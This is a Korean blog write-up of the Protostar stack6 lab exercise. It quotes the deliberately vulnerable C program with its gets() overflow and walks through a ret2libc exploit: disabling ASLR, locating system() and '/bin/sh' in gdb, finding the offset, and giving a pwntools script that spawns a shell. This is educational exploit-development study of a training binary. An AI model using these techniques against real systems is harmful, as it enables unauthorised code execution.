반응형
문제
Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming. It is strongly suggested you experiment with multiple ways of getting your code to execute here. This level is at /opt/protostar/bin/stack6 |
프로그래밍 혹은 ret2libc, 페이로드의 복사본 발견으로 이 문제를 풀 수 있다고 한다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
코드 설명을 확인해보겠다.
일단 ret와 buffer가 있고, 경로를 입력 받는다. 여기서 fflush(stdout)은 stdout을 비우는 것을 뜻한다.
이제 버퍼를 채우고, ret = __builtin_return_address(0)이라고 한다. 이건 무슨 함수일까 했는데 RET(EIP)를 리턴한다고 한다.
그 아래엔 if문으로 조건이 맞다면(ret와 0xbf000000을 AND연산한 게 0xbf000000과 같다면)
출력하고 종료하는 것을 볼 수 있다.
일단 return 2 lib을 써야겠다.
1. buffer에서 RET거리
2. system함수 주소
3. "/bin/sh"의 주소를 찾겠다.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space |
ASLR하는 걸 까먹어서 다시 했다.
disas main -> b* main -> r을 해본다.
system을 출력해봤고, '/bin/sh'를 찾았다.
이제 ret 관련해서 작업해본다.
disas main 을 통해 ret이 어딨는지 본다<+31>
b*main + 31 로 bp를 건다.
r 을 통해 본다.
pattern create 100
conti
나온 값 붙여넣는다.
where이나 bt를 통해 스택 구조를 파악할 수 있다.
코드 영역에서 이미 브레이크 포인트가 걸렸기 때문에
pattern offset 0x00005555555551ee을 한다.
1-5. 코드 작성
from pwn import *
system = p32(0xf7e0cb30)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f4caaa) #ASLR
offset = 80
payload = 'A' * offset + system + dummy + bin_sh
p = process(['stack6'])
p.sendline(payload)
p.interactive()
성공적으로 쉘 권한을 얻었다.
반응형
'system' 카테고리의 다른 글
[protostar]Format1 (0) | 2020.11.03 |
---|---|
[protostar]format0 (0) | 2020.11.02 |
[protostar]stack4.c (0) | 2020.09.24 |
[protostar]stack3.c (0) | 2020.09.22 |
[protostar]stack0 (0) | 2020.09.22 |